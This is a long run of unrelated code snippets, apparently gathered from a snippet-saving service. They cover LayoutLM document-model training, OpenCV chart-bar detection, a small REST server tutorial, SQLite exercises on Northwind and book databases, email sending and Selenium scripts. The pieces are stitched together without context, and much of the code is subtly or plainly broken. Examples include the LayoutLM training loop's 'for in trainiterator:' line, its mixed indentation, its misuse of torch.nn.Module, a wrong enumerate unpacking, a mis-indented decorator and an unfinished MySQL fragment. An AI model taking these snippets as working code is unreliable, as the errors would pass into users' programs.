    encoding = tokenizer(words, boxes=boxes, truncation=True, return_offsets_mapping=True, return_tensors="pt")
    offset_mapping = encoding.pop('offset_mapping')
    encoding["image"] = encoding_feature_extractor.pixel_values
    # forward pass
    outputs = model(**encoding)
    # get predictions
    predictions = outputs.logits.argmax(-1).squeeze().tolist()
    token_boxes = encoding.bbox.squeeze().tolist()
    # only keep non-subword predictions
    is_subword = np.array(offset_mapping.squeeze().tolist())[:,0] != 0
    true_predictions = [id2label[pred] for idx, pred in enumerate(predictions) if not is_subword[idx]]
    true_boxes = [unnormalize_box(box, width, height) for idx, box in enumerate(token_boxes) if not is_subword[idx]]
    # draw predictions over the image
    draw = ImageDraw.Draw(image)
    font = ImageFont.load_default()
    for prediction, box in zip(true_predictions, true_boxes):
        predicted_label = iob_to_label(prediction).lower()
        draw.rectangle(box, outline=label2color[predicted_label])
        draw.text((box[0]+10, box[1]-10), text=predicted_label, fill=label2color[predicted_label], font=font)
    return image,true_boxes,words,true_predictions,true_boxes,is_subword
def calc_contours(image_path):
  img = cv2.imread(image_path)

  # Apply bilateral filter
  img_bilateral = cv2.bilateralFilter(img, 9, 75, 75)

  # Convert the image to grayscale
  gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

  # Apply thresholding to remove text and noise
  _, thresh = cv2.threshold(gray, 150, 255, cv2.THRESH_BINARY)

  # Apply ROI masking to exclude non-graph regions
  mask = np.zeros_like(thresh)
  mask[50:400, 100:700] = 255
  masked_thresh = cv2.bitwise_and(thresh, mask)

  # Apply edge detection using the Canny algorithm
  edges = cv2.Canny(gray, 100, 200)

  # Apply horizontal line detection using HoughLinesP
  lines = cv2.HoughLinesP(edges, 1, np.pi/180, 100, minLineLength=250, maxLineGap=15)
  horizontal_lines = []
  for line in lines:
      x1, y1, x2, y2 = line[0]
      if abs(y1 - y2) < 5: # Check if the line is horizontal
          horizontal_lines.append(line)

  # Draw the detected lines on the image
  for line in horizontal_lines:
      x1, y1, x2, y2 = line[0]
      # cv2.line(img, (x1, y1), (x2, y2), (255, 255, 255), 2)

  # Find contours in the image
  contours, hierarchy = cv2.findContours(edges, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)

  # Filter out unwanted contours based on contour area and aspect ratio
  bars = []
  for cnt in contours:
      area = cv2.contourArea(cnt)
      x, y, w, h = cv2.boundingRect(cnt)
      aspect_ratio = float(w) / h
      if area > 7 and aspect_ratio > 5 and aspect_ratio < 50000:
          bars.append(cnt)

  ###### 2 consecutive element from the bars represent single contour only
  ###### and we will consider only one of them, so we will filter out odd index elemnts from the "bars"

  def filter_bars(bars):
    lst = []
    for i in range(len(bars)):
      if(i%2==1):
        lst.append(bars[i])
    return lst

  bars = filter_bars(bars)

  # Draw the remaining contours on the image
  cv2.drawContours(img, bars, -1, (255, 255, 0), 2)

  # Show the image
  cv2_imshow(img)
  return bars

from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer 
import torch 
 
MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

 
def main():
 
    if torch.cuda.is_available():
        device = torch.device("cuda")
        print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")
 
    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real     label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index
 
    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels,         force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )     
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",      do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )
 
    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)
 
    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )
 
    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)
 
    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )
 
    return result,predictions
from layoutlm import LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() 
    # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step
opened_file = open('AppleStore.csv')
from csv import reader
read_file = reader(opened_file)
apps_data = list(read_file)

rating_sum = 0
for row in apps_data[1:]:
    rating = float(row[7])
    rating_sum = rating_sum + rating
    
avg_rating = rating_sum / len(apps_data[1:])
print(avg_rating)
from layoutlm import FunsdDataset, LayoutlmConfig, LayoutlmForTokenClassification 
from transformers import BertTokenizer,AdamW 
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler 
from torch.utils.data.distributed import DistributedSampler 
import torch 
from tqdm import tqdm, trange

MODEL_CLASSES = { "layoutlm": (LayoutlmConfig, LayoutlmForTokenClassification, BertTokenizer), }

def train( train_dataset, model, tokenizer, labels, pad_token_label_id):

    """ Train the model """
    if torch.cuda.is_available():
    	device = torch.device("cuda") 
		print("GPU is available")
    else:
    	device = torch.device("cpu")
	    print("GPU is not available, using CPU instead")

    train_sampler = RandomSampler(train_dataset)
    train_dataloader = DataLoader(train_dataset, sampler=train_sampler, 		   batch_size=args.train_batch_size, collate_fn=None )
    no_decay = ["bias", "LayerNorm.weight"]
    optimizer = AdamW( lr=learning_rate, eps=adam_epsilon)
    model = torch.nn.Module(model, find_unused_parameters=True)

    global_step, tr_loss = 0, 0.0
    model.zero_grad()
    train_iterator = trange(num_train_epochs, desc="Epoch")
    for in trainiterator:
    	epoch_iterator = tqdm(train_dataloader, desc="Iteration")
    	for step, batch in enumerate(epoch_iterator):
    		model.train()
    		inputs = {"input_ids": batch[0].to(device), "attention_mask": batch[1].to(device), 	"labels": batch[3].to(device)}
    		inputs["bbox"] = batch[4].to(device)
    		inputs["token_type_ids"] = batch[2].to(device)

    outputs = model(**inputs)
    loss = outputs[0]
    loss.backward()
    tr_loss += loss.item()

    optimizer.step() # scheduler.step() # Update learning rate schedule
    model.zero_grad()
    global_step += 1

    return global_step, tr_loss / global_step

def main():

    if torch.cuda.is_available():
    	device = torch.device("cuda")
    	print("GPU is available")
    else:
        device = torch.device("cpu")
        print("GPU is not available, using CPU instead")

    labels = get_labels(labels) # in our case labels will be x-axis,y-axis,title
    num_labels = len(labels) # Use cross entropy ignore index as padding label id so that only real 	label ids contribute to the loss later
    pad_token_label_id = CrossEntropyLoss().ignore_index

    config = config_class.from_pretrained( "layoutlm-base-uncased/", num_labels=num_labels, 		force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, ) 	
	tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased", 	 do_lower_case=True, force_download = True, ignore_mismatched_sizes=True, cache_dir= cache_dir_path else None, )

    model = model_class.from_pretrained( "layoutlm-base-uncased/", config=config, )
    model.to(args.device)

    train_dataset = FunsdDataset( args, tokenizer, labels, pad_token_label_id, mode="train" )
    global_step, tr_loss = train( args, train_dataset, model, tokenizer, labels, pad_token_label_id )

    tokenizer = tokenizer_class.from_pretrained( "microsoft/layoutlm-base-uncased",force_download = True, do_lower_case=args.do_lower_case,ignore_mismatched_sizes=True)

    model = model_class.from_pretrained(args.output_dir)
    model.to(args.device)
    result, predictions = evaluate( args, model, tokenizer, labels, pad_token_label_id, mode="test" )

    return result,predictions
sepatu = { "nama" : "Sepatu Niko", "harga": 10000, "diskon": 0000 }

baju = { "nama" : "Baju Unikloh", "harga": 0000, "diskon": 8000 }
3
celana = { "nama" : "Celana Lepis", "harga": 200000, "diskon": 0000 }

harga_sepatu = sepatu["harga"] - sepatu["diskon"]
5
harga_baju = baju["harga"] - baju["diskon"]
6
harga_celana = celana["harga"] - celana["diskon"]

total_harga = (___) * ___ 
8
print(___)
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])

# -- with our custom API, we've registered one resource on the GET path, and one on the POST path.
# -- these requests use different "verbs", as they are referred to.

# -- both of these methods effectively do the same thing for this example, but this shows how to route requests
# -- through different paths.
response = requests.get('http://localhost:9000/simple_get', json={'my_arg': 'my_value'})
print(response.json()['response'])

response = requests.post('http://localhost:9000/simple_post', json={'my_arg': 'my_value'})
print(response.json()['response'])
import clacks_web
from interface import MySimpleRESTAPI

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.register_interface('tutorial', MySimpleRESTAPI())
server.start(blocking=True)
from clacks import ServerInterface
from clacks_web import get, post


class MySimpleRESTAPI(ServerInterface):

    @get('/simple_get')
    def simple_get(self, *args, **kwargs):
        print(args, kwargs)
        return f'Simple GET method that returns some kind of resource. Can take arguments: {args}, {kwargs}, but you ' \
               f'will note that all arguments are provided as keyword arguments, as HTTP requests do not allow simple ' \
               f'positional arguments.'

    @post('/simple_post')
    def simple_post(self, *args, **kwargs):
        return f'Simple POST method that takes some arguments and makes some kind of server-side alteration.' \
               f'This kind of method is usually reserved for database alterations and most commonly used in ' \
               f'web form submission.'
import requests

# -- with the standard web API, the simple GET method without any path will just be rerouted to the "list_commands"
# -- method.
response = requests.get('http://localhost:9000')
print(response.json()['response'])
import clacks_web

# -- as you can see, with the clacks_web library, making a simple REST API web server is dead easy.
server = clacks_web.simple_rest_api('My First Web Server', 'localhost', 9000)
server.start(blocking=True)
import clacks
from interface import MyCustomInterface

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- now register our custom interface
server.register_interface('custom', MyCustomInterface())

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
from clacks import ServerInterface


class MyCustomInterface(ServerInterface):

    def hello_world(self) -> str:
        return 'Hello World'
# reverse for loop
for i in range(5, 0, -1):
    print(i)
import re

# Target String
target_string = "Emma is a baseball player who was born on June 17, 1993."

# find substring 'ball'
result = re.search(r"ball", target_string)

# Print matching substring
print(result.group())
# output 'ball'

# find exact word/substring surrounded by word boundary
result = re.search(r"\bball\b", target_string)
if result:
    print(result)
# output None

# find word 'player'
result = re.search(r"\bplayer\b", target_string)
print(result.group())
# output 'player'
def some_function():
    if condition_a:
        # do something and return early
        ...
        return
    ...
    if condition_b:
        # do something else and return early
        ...
        return
    ...
    return

if outer_condition:
    ...
    some_function()
    ...
# Using regex Python library

>>> match.start()
2
>>> match.end()
8
n = 5
lst = [None] * n
print(lst)
# [None, None, None, None, None]
def operations(letter):
    switch={
       'a': "It is a vowel",
       'e': "It is a vowel",
       'i': "It is a vowel",
       'o': "It is a vowel",
       'u': "It is a vowel",
       }
    return switch.get(letter,"It is a not a vowel")		# disregard 2nd parameter

operations('a')
a = 1
 
# Uses global because there is no local 'a'
def f():
    print('Inside f() : ', a)
 
# Variable 'a' is redefined as a local
def g():
    a = 2
    print('Inside g() : ', a)
 
# Uses global keyword to modify global 'a'
def h():
    global a
    a = 3
    print('Inside h() : ', a)
 
 
# Global scope
print('global : ', a)
f()
print('global : ', a)
g()
print('global : ', a)
h()
print('global : ', a)
pip freeze > requirements.txt # OR conda list -e > requirements.txt
word = 'Python'

word[:2]   # character from the beginning to position 2 (excluded)
# 'Py'
word[4:]   # characters from position 4 (included) to the end
# 'on'
word[-2:]  # characters from the second-last (included) to the end
# 'on'
response = requests.get("https://api.open-notify.org/astros.json")
print(response.status_code)
response = requests.get("https://api.open-notify.org/this-api-doesnt-exist")
import clacks

# -- first we create a handler / marshaller pair.
# -- as we know the server used the "simple" handler / marshaller combination on this port, we recreate its exact
# -- copy here. Otherwise, the handler will not be able to talk to the server.
handler = clacks.SimpleRequestHandler(clacks.SimplePackageMarshaller())

# -- now we can create a proxy for the "simple" server port.
proxy = clacks.ClientProxyBase(('localhost', 9998), handler=handler, connect=True)

# -- and now we can run methods on this proxy just as if we were running them directly on the server.
print(proxy.list_commands())
import clacks

# -- create a simple server instance.
# -- All keyword arguments can be left to their default in most cases.
server = clacks.ServerBase(identifier='My First Clacks Server')

# -- create a handler. Handlers are how the Server receives input requests.
handler = clacks.JSONHandler(clacks.JSONMarshaller(), server=server)

# -- once a handler has been created, it needs to be registered on a host/port combo.
server.register_handler_by_key(host='localhost', port=9998, handler_key='simple', marshaller_key='simple')

# -- give the server something to do - the "standard" interface contains some basic methods.
server.register_interface_by_key('standard')

# -- start the server. By setting "blocking" to True, we block this interpreter instance from progressing.
# -- Setting "blocking" to False instead would not stop this interpreter instance from continuing, so the server
# -- would die if the interpreter instance reaches its exit point.
server.start(blocking=True)
my_set.add(item)  # adds an item to the set
my_set.remove(item)  # removes an item from the set
my_set.union(other_set)  # returns a new set with all unique items from both sets
my_set.intersection(other_set)  # returns a new set with items that are common to both sets
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
module(name = "my-module", version = "1.0")

bazel_dep(name = "rules_cc", version = "0.0.1")
bazel_dep(name = "protobuf", version = "3.19.0")
import csv
from tabulate import tabulate
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib

me = 'xxx@gmail.com'
password = 'yyyzzz!!2'
server = 'smtp.gmail.com:587'
you = 'qqq@gmail.com'

text = """
Hello, Friend.

Here is your data:

{table}

Regards,

Me"""

html = """
<html><body><p>Hello, Friend.</p>
<p>Here is your data:</p>
{table}
<p>Regards,</p>
<p>Me</p>
</body></html>
"""

with open('input.csv') as input_file:
    reader = csv.reader(input_file)
    data = list(reader)

text = text.format(table=tabulate(data, headers="firstrow", tablefmt="grid"))
html = html.format(table=tabulate(data, headers="firstrow", tablefmt="html"))

message = MIMEMultipart(
    "alternative", None, [MIMEText(text), MIMEText(html,'html')])

message['Subject'] = "Your data"
message['From'] = me
message['To'] = you
server = smtplib.SMTP(server)
server.ehlo()
server.starttls()
server.login(me, password)
server.sendmail(me, you, message.as_string())
server.quit()
# df.at[index, 'column_name'] = desired_value
df.at[4, 'VALUE'] = 0.064900
import smtplib
from email.mime.text import MIMEText

s = smtplib.SMTP('smtp.uk.xensource.com')
s.set_debuglevel(1)
msg = MIMEText("""body""")
sender = 'me@example.com'
recipients = ['john.doe@example.com', 'john.smith@example.co.uk']
msg['Subject'] = "subject line"
msg['From'] = sender
msg['To'] = ", ".join(recipients)
s.sendmail(sender, recipients, msg.as_string())
def insert(request):
    if request.method == "POST":
        form = UserInfo(request.POST)
        if form.is_valid():
            try:
                form.save()
                return redirect('/')

            except:
                pass
    else:
        form = UserInfo()
    return render(request, 'register.html', {'form': form})


def show(request):
    userdetails = Userdetails.objects.all()
    return render(request, "admin/userinfo.html", {'userdetails': userdetails})


def edit(request, id):
    userinfo = Userdetails.objects.get(id=id)
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def update(request, id):
    userinfo = Userdetails.objects.get(id=id)
    form = UserInfo(request.POST, instance=userinfo)
    if form.is_valid():
        form.save()
        return redirect("/show")
    return render(request, 'admin/edit.html', {'userinfo': userinfo})


def destroy(request, id):
    userinfo = Userdetails.objects.get(id=id)
    userinfo.delete()
    return redirect("/show")
    
    
    
    
    
    
    
    
    
    
    
    
 # _________Login__________
# def userlogin(request):
#     if request.method == 'POST':
#         username = request.POST['username']
#         password = request.POST['password']
#         user = auth.authenticate(username=username, password=password)
#         if user is not None:
#             auth.login(request, user)
#             return redirect('/afterlogin')
#         else:
#             return redirect('/second')
#     else:
#         return HttpResponse('<script> alert("Submission Error...!!!") </script>')





def userloginf(request):
    if request.method == 'POST':
        username = request.POST['username']
        password = request.POST['password']
        user = authenticate(username=username, password=password)
        if user is not None:
            login(request, user)
            messages.success(request, "Successfully Logged In")
            return redirect('/afterlogin')
        else:
            messages.error(request, "Invalid Crdentials, Please try again")
            return redirect('/dishes')

    return HttpResponse('<script> alert("Submission Error...!!!") </script>')

def afterlogin(request):
    return render(request, "profile.html")   
    
    
    
    
    
    
    
    
    
    
    
    
    
    
import pandas as pd

df = pd.read_parquet("C:/Users/w10/Downloads/pred_exog_mx.parquet")
df.columns
API Accessibility:

Is it necessary to have our API operational throughout the day, or are there specific time slots during which the data infeed and outfeed will occur?
Data Transmission Protocol:

Will the data relating to claims be sent individually, or is there a plan to send them in batches?
If it's the latter, do we have an anticipated number of claims per batch that we should prepare for?
Model Utilization:

We have two distinct models at our disposal: the Audit Finding model and the Recovery Amount model. Is the intention to transmit input and receive output for both models concurrently, or is there a plan in place to have two separate applications, each catering to one model and processing one input-output pair at a time?
import sqlite3
JList = []

class MyJournal:
    
    def __init__(self,id,name):
        self.id = id
        self.name = name
        
    def description(self):
        return "Journal number: " + str(self.id) + " has the name " + self.name

conn = sqlite3.connect('academic_papers_populated.db')

cursor = conn.cursor()


for row in cursor.execute('''SELECT * FROM Journal;'''):

    JList.append(MyJournal(row[0],row[1]))

cursor.close()
import sqlite3
conn = sqlite3.connect('academic_papers_populated.db')

def apaReference(ArticleId):
    SQL = '''SELECT AuthorNumber, LastName, Initials, Year, Title, Name  
             FROM Article as p, Journal as j, Author as a, Article_Authors as b
             WHERE p.JournalID = j.JournalID
             AND p.ArticleID = b.ArticleID
             AND b.AuthorID = a.AuthorID
             AND p.Articleid = :id
             ORDER BY AuthorNumber;'''

    cursor = conn.cursor()
    record = cursor.execute(SQL,{'id':ArticleId}).fetchall()
    cursor.close()
    if len(record) ==0:
        raise Exception("Invalid Article")
    else:
        ref = ''
        count = 0
        for row in record:
            ref = ref + row[1]+', '+row[2]
            count += 1
            if count < len(record):
                if count + 1 < len(record):
                    ref = ref +', '
                else:
                    ref = ref +', & '
        ref = ref + ' (' + str(record[0][3]) + ') '+ record[0][4]+ '. ' +record[0][5]+'.'
        return ref
import sqlite3

# Create a connection to the database
conn = sqlite3.connect('Northwind2020.db')

# Create a cursor object to execute SQL queries
cursor = conn.cursor()

# Retrieve the number of unique suppliers that have discontinued products
query = '''
SELECT COUNT(DISTINCT SupplierId)
FROM Product
WHERE IsDiscontinued = 1
'''

cursor.execute(query)
num_discontinued_suppliers = cursor.fetchone()[0]

# Display an appropriate message based on the number of discontinued suppliers
if num_discontinued_suppliers >= 20:
    print("20 or more suppliers have discontinued products.")
elif num_discontinued_suppliers <= 0:
    print("All products are available.")
else:
    print("Less than 20 suppliers have discontinued products.")

# Close the database connection
conn.close()




import sqlite3
conn = sqlite3.connect('Northwind2020.db')
SQL = '''SELECT COUNT(*)As NoMore
         FROM
         (SELECT Distinct(S.Id)
         FROM Supplier S, Product P
         WHERE S.Id == P.SupplierId
         AND P.IsDiscontinued = 1
         GROUP BY S.CompanyName) '''

cursor = conn.cursor()
cursor.execute(SQL)
answer = cursor.fetchone()

if answer[0]!= None:
    if int((answer[0]) >= 20):
        print("More than 20 suppliers have discontinued products.")
    else:
        print("Less than 20 suppliers have discontinued products.")
else:
    print("All products are available.")
    
cursor.close()
from datetime import datetime

currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    current_date = datetime(currentyear, currentmonth, currentday)
    day, month, year = map(int, DOB.split('-'))
    dob_date = datetime(year, month, day)
    age_in_years = current_date.year - dob_date.year - ((current_date.month, current_date.day) < (dob_date.month, dob_date.day))
    return age_in_years



currentyear = 2021
currentmonth = 2
currentday = 10

def validate_age(DOB):
    #your code goes here
    b_year = int(DOB[-4:])
    b_month = int(DOB[-7:-5])
    b_day = int(DOB[:2])
    
    age = currentyear - b_year
    if b_month > currentmonth:
        age -= 1
    elif b_month == currentmonth:
        if b_day > currentday:
            age -= 1
    
    return int(age)
import sqlite3

# Connect to the database
conn = sqlite3.connect('BookCollection.db')

# Define the SQL query
query = '''
SELECT Authors.Surname, Authors.Name, Books.Title
FROM Authors
INNER JOIN Books ON Authors.AuthorID = Books.AuthorID
ORDER BY Authors.Surname, Books.Title
'''

# Execute the query and print the results
cursor = conn.cursor()
for row in cursor.execute(query):
    print(row)

# Close the database connection
conn.close()


import sqlite3
conn = sqlite3.connect('BookCollection.db')

cursor = conn.cursor()
for row in cursor.execute('''SELECT Surname, Name, Title
                             FROM Authors, Books
                             WHERE Authors.AuthorID = Books.AuthorID
                             ORDER BY Surname, Name, Title;'''):
    print(row)
cursor.close()
SQL = '''SELECT O.OrderNumber, O.OrderDate, TotalAmount, O.CustomerID
         FROM [Order] O, Customer C
         WHERE O.CustomerID = C.Id
         AND C.Id = :custID'''

for row in cursor.execute(SQL, {'custID':inputid}):
    print(row)
cursor.close()

import sqlite3
conn = sqlite3.connect('Northwind2020.db')

def CustOrderCountDetails(CustomerID):
    cursor = conn.cursor()
    cursor.execute("SELECT FirstName, LastName, COUNT(*) FROM Customer JOIN [Order] ON Customer.Id = [Order].CustomerId WHERE Customer.Id = ? GROUP BY Customer.Id", (CustomerID,))
    result = cursor.fetchone()
    conn.close()
    return f"Customer {result[0]} {result[1]} had a total of {result[2]} orders"





import sqlite3
conn = sqlite3.connect('Northwind2020.db')
    
def CustOrderCountDetails(CustomerID):
    # Your code goes here
    cursor = conn.cursor()

    SQL = '''SELECT FirstName, lastname, COUNT([Order].Id) as OrderCount
    From Customer, [Order]
    WHERE customer.id = CustomerId
    and customer.id = :Cid
    GROUP BY FirstName, LastName'''


    result = cursor.execute(SQL,{'Cid': CustomerID}).fetchone()
    return "Customer " + result[0] + " " + result[1] + " had a total of " + str(result[2]) + " orders"

    cursor.close()
#Approach 1
find . -name "autoencoder_class_*.*" -exec /bin/rm -i {} \;
find . -name "tf_model.h5" -exec /bin/rm -i {} \;

#Approach 2
#1. Display the big files in descending order of size
find . -type f -exec du -h {} + | sort -rh | head -n 20

#2. Delete the files displayed in step 1, one by one
find . -type f -exec du -h {} + | sort -rh | head -n 20 | awk '{print $2}' | xargs -i -p rm '{}'
# Create a function that we can re-use
def show_distribution(var_data):
    '''
    This function will make a distribution (graph) and display it
    '''

    # Get statistics
    min_val = var_data.min()
    max_val = var_data.max()
    mean_val = var_data.mean()
    med_val = var_data.median()
    mod_val = var_data.mode()[0]

    print('Minimum:{:.2f}\nMean:{:.2f}\nMedian:{:.2f}\nMode:{:.2f}\nMaximum:{:.2f}\n'.format(min_val,
                                                                                            mean_val,
                                                                                            med_val,
                                                                                            mod_val,
                                                                                            max_val))

    # Create a figure for 2 subplots (2 rows, 1 column)
    fig, ax = plt.subplots(2, 1, figsize = (10,4))

    # Plot the histogram   
    ax[0].hist(var_data)
    ax[0].set_ylabel('Frequency')

    # Add lines for the mean, median, and mode
    ax[0].axvline(x=min_val, color = 'gray', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mean_val, color = 'cyan', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=med_val, color = 'red', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=mod_val, color = 'yellow', linestyle='dashed', linewidth = 2)
    ax[0].axvline(x=max_val, color = 'gray', linestyle='dashed', linewidth = 2)

    # Plot the boxplot   
    ax[1].boxplot(var_data, vert=False)
    ax[1].set_xlabel('Value')

    # Add a title to the Figure
    fig.suptitle('Data Distribution')

    # Show the figure
    fig.show()


show_distribution(df_students['Grade'])
import pprint

my_dict = {"name": "John", "age": 30, "city": "New York"}

pp = pprint.PrettyPrinter(indent=4)  # Create a PrettyPrinter object with an indentation of 4 spaces
pp.pprint(my_dict)  # Use the pprint() method to pretty print the dictionary
​"(https:\/\/[\w-]*\.?zoom.us\/(j|my)\/[\d\w?=-]+)"gm
# get the column names and move the last column to the front
cols = list(df.columns)
cols = [cols[-1]] + cols[:-1]

# reindex the dataframe with the new column order
df = df.reindex(columns=cols)
# By comparing itself
def is_nan(val):
  return val != val

nan_value = float("nan")
print(is_nan(nan_value))
# -> True

#Using math.isnan(Import math before using math.isnan)
import math

nan_value = float("NaN")
check_nan = math.isnan(nan_value)
print(check_nan)
# -> True
import win32api

drives = win32api.GetLogicalDriveStrings()
drives = drives.split('\000')[:-1]
print drives
#List of Tuples
list_tuples =  [('Nagendra',18),('Nitesh',28),('Sathya',29)]

#To print the list of tuples using for loop you can print by unpacking them
for name,age in list_tuples:
  print(name,age)

#To print with enumerate--->enumerate is nothing but gives the index of the array.
for index,(name,age) in list_tuples:
  #print using fstring
  print(f'My name is {name} and age is {age} and index is {index}')
  #print using .format
  print('My name is {n} and age is {a} and index is {i}'.format(n=name,a=age,i=index))
 
class AddPath:
    def __init__(self, posix_path):
        self.path = str(posix_path)
    def __enter__(self):
        sys.path.insert(0, self.path)
    def __exit__(self, exc_type, exc_value, traceback):
        try:
            sys.path.remove(self.path)
        except ValueError:
            pass
with AddPath(Path(os.getcwd()).parent / 'pa_core'):
    pa_core = __import__('pa_core')
df_1_fraction = df_1.sample(frac=0.1, random_state=1)
for i in df.columns:
    print ('column :',i, 'is a tuple : ', all(isinstance(x,tuple) for x in df[i]))
import functools
import time
from typing import Callable, Any


def async_timed():
    def wrapper(func: Callable) -> Callable:

    @functools.wraps(func)
    async def wrapped(*args, **kwargs) -> Any:
        print(f'выполняется {func} с аргументами {args} {kwargs}')
        start = time.time()
        try:
            return await func(*args, **kwargs)
        finally:
            end = time.time()
            total = end - start
            print(f'{func} завершилась за {total:.4f} с')
        return wrapped
    return wrapper
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from multiprocessing import Process
import time

# The main process calls this function to create the driver instance.
def createDriverInstance():
    options = Options()
    options.add_argument('--disable-infobars')
    driver = webdriver.Chrome(chrome_options=options, port=9515)
    return driver

# Called by the second process only.
def secondProcess(executor_url, session_id):
    options = Options()
    options.add_argument("--disable-infobars")
    options.add_argument("--enable-file-cookies")
    capabilities = options.to_capabilities()
    same_driver = webdriver.Remote(command_executor=executor_url, desired_capabilities=capabilities)
    same_driver.close()
    same_driver.session_id = session_id
    same_driver.get("https://www.wikipedia.org")
    time.sleep(4)
    same_driver.quit()

if __name__ == '__main__':
    driver = createDriverInstance()
    driver.get("https://google.com")
    time.sleep(2)

    # Pass the driver session and command_executor to the second process.
    p = Process(target=secondProcess, args=(driver.command_executor._url,driver.session_id))
    p.start()
If you are just trying to serialize a list to disk for later use by the same python app, you should be pickleing the list --> https://docs.python.org/3/library/pickle.html

```
import pickle

with open('outfile', 'wb') as fp:
    pickle.dump(itemlist, fp)
```

To read it back:

```
with open ('outfile', 'rb') as fp:
    itemlist = pickle.load(fp)
```
# исходный массив со строками
strs = ['дом', 'домен', 'домра', 'доширак']

# функция, которая найдёт общее начало
def simplelongestCommonPrefix (strs):
	# на старте общее начало пустое
	res = ""
	# получаем пары «номер символа» — «символ» из первого слова
	for i, c in enumerate(strs[0]): 
		# перебираем следующие слова в списке
		for s in strs[1:]: 
			# если это слово короче, чем наш текущий порядковый номер символа
			# или если символ на этом месте не совпадаем с символом на этом же месте из первого слова
			if len(s)<i+1 or s[i] != c: 
				# выходим из функции и возвращаем, что нашли к этому времени
				return res
		# если цикл выполнился штатно
		else:
			# добавляем текущий символ к общему началу
			res += c
	# возвращаем результат
	return res

# выводим результат работы функции
print(simplelongestCommonPrefix(strs))
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from fake_useragent import UserAgent

options = Options()
ua = UserAgent()
userAgent = ua.random
print(userAgent)
options.add_argument(f'user-agent={userAgent}')
driver = webdriver.Chrome(chrome_options=options, executable_path=r'C:\WebDrivers\ChromeDriver\chromedriver_win32\chromedriver.exe')
driver.get("https://www.google.co.in")
driver.quit()
#!/usr/bin/python



-- coding: UTF-8 --


pip install MySQL-python



import MySQLdb, os




try:
    conn = MySQLdb.connect(host='172.17.42.1', user='my_email', passwd='normal', db='database', port=3306)




cur = conn.cursor()
cur.execute('SELECT `id`, `name`, `path`, FROM `doc_file`')

# results
